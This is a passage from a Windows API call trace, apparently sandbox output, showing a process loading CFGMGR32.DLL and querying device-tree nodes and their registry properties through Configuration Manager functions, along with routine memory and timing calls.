lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.044] malloc (_Size=0x18) returned 0x196ef0d1c80 [0195.044] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0195.045] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0195.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x551d56c3, dwHighDateTime=0x1d9eb0c)) [0195.046] SetEvent (hEvent=0x248) returned 1 [0195.051] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.051] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.052] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.053] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.054] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0195.054] CM_Get_Device_IDA (in: dnDevInst=0x4, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI_HAL\\PNP0C08\\0") returned 0x0 [0195.054] malloc (_Size=0x48) returned 0x196ef0fb220 [0195.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x551d56c3, dwHighDateTime=0x1d9eb0c)) [0195.054] SetEvent (hEvent=0x248) returned 1 [0195.211] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.211] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.216] malloc (_Size=0x18) returned 0x196ef0d1c40 [0195.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0195.216] malloc (_Size=0x36) returned 0x196ef0d0a90 [0195.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0a90, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0a90, pulLength=0x67117d608) returned 0x0 [0195.217] free (_Block=0x196ef0d0a90) [0195.218] malloc (_Size=0x48) returned 0x196ef0fbe00 [0195.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5537364a, dwHighDateTime=0x1d9eb0c)) [0195.218] SetEvent (hEvent=0x248) returned 1 [0195.222] malloc (_Size=0x18) returned 0x196ef0d1c00 [0195.222] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0195.222] free (_Block=0x196ef0d1c00) [0195.222] malloc (_Size=0x18) returned 0x196ef0d20c0 [0195.222] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0195.222] free (_Block=0x196ef0d20c0) [0195.223] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8563e0 [0195.223] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0195.223] SafeArrayGetLBound (in: psa=0x196ee7bec60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0195.223] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0195.223] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0195.223] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0195.223] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0195.223] SafeArrayGetElemsize (psa=0x196ee7bec60) returned 0x8 [0195.223] SafeArrayGetElement (in: psa=0x196ee7bec60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0195.224] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e850, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0195.224] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e858, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0195.250] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0195.426] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8563e0) returned 1 [0195.427] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.427] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.428] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.430] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0195.430] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0195.430] malloc (_Size=0x48) returned 0x196ef0fc170 [0195.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x555631b9, dwHighDateTime=0x1d9eb0c)) [0195.430] SetEvent (hEvent=0x248) returned 1 [0195.433] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.433] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.436] malloc (_Size=0x18) returned 0x196ef0d1d20 [0195.436] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0195.442] malloc (_Size=0x48) returned 0x196ef0fba40 [0195.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55591613, dwHighDateTime=0x1d9eb0c)) [0195.442] SetEvent (hEvent=0x248) returned 1 [0195.443] SetEvent (hEvent=0x248) returned 1 [0195.443] free (_Block=0x196ef0fba40) [0195.444] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0195.444] malloc (_Size=0x48) returned 0x196ef0fb590 [0195.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55591613, dwHighDateTime=0x1d9eb0c)) [0195.444] SetEvent (hEvent=0x248) returned 1 [0195.445] SetEvent (hEvent=0x248) returned 1 [0195.445] free (_Block=0x196ef0fb590) [0195.445] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0195.446] malloc (_Size=0x48) returned 0x196ef0fbc20 [0195.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55591613, dwHighDateTime=0x1d9eb0c)) [0195.446] SetEvent (hEvent=0x248) returned 1 [0195.447] SetEvent (hEvent=0x248) returned 1 [0195.447] free (_Block=0x196ef0fbc20) [0195.447] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0195.448] malloc (_Size=0x48) returned 0x196ef0fb720 [0195.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55591613, dwHighDateTime=0x1d9eb0c)) [0195.448] SetEvent (hEvent=0x248) returned 1 [0195.451] SetEvent (hEvent=0x248) returned 1 [0195.451] free (_Block=0x196ef0fb720) [0195.452] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0195.454] malloc (_Size=0x48) returned 0x196ef0fbef0 [0195.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x555af717, dwHighDateTime=0x1d9eb0c)) [0195.454] SetEvent (hEvent=0x248) returned 1 [0195.455] SetEvent (hEvent=0x248) returned 1 [0195.455] free (_Block=0x196ef0fbef0) [0195.456] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x4, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0195.456] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0195.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x555af717, dwHighDateTime=0x1d9eb0c)) [0195.456] SetEvent (hEvent=0x248) returned 1 [0195.458] SetEvent (hEvent=0x248) returned 1 [0195.459] free (_Block=0x196ef0fbfe0) [0195.459] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x4, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0195.460] malloc (_Size=0x48) returned 0x196ef0fb950 [0195.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x555af717, dwHighDateTime=0x1d9eb0c)) [0195.460] SetEvent (hEvent=0x248) returned 1 [0195.461] SetEvent (hEvent=0x248) returned 1 [0195.461] free (_Block=0x196ef0fb950) [0195.462] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0195.462] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0195.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x555af717, dwHighDateTime=0x1d9eb0c)) [0195.462] SetEvent (hEvent=0x248) returned 1 [0195.952] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.952] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.956] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.956] malloc (_Size=0x18) returned 0x196ef0d1a80 [0195.957] CM_Get_Device_IDA (in: dnDevInst=0x6, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HTREE\\ROOT\\0") returned 0x0 [0195.957] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0195.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x55a87e6c, dwHighDateTime=0x1d9eb0c)) [0195.957] SetEvent (hEvent=0x248) returned 1 [0195.961] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.961] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.962] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.965] malloc (_Size=0x18) returned 0x196ef0d1d20 [0195.965] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0195.966] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0195.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: 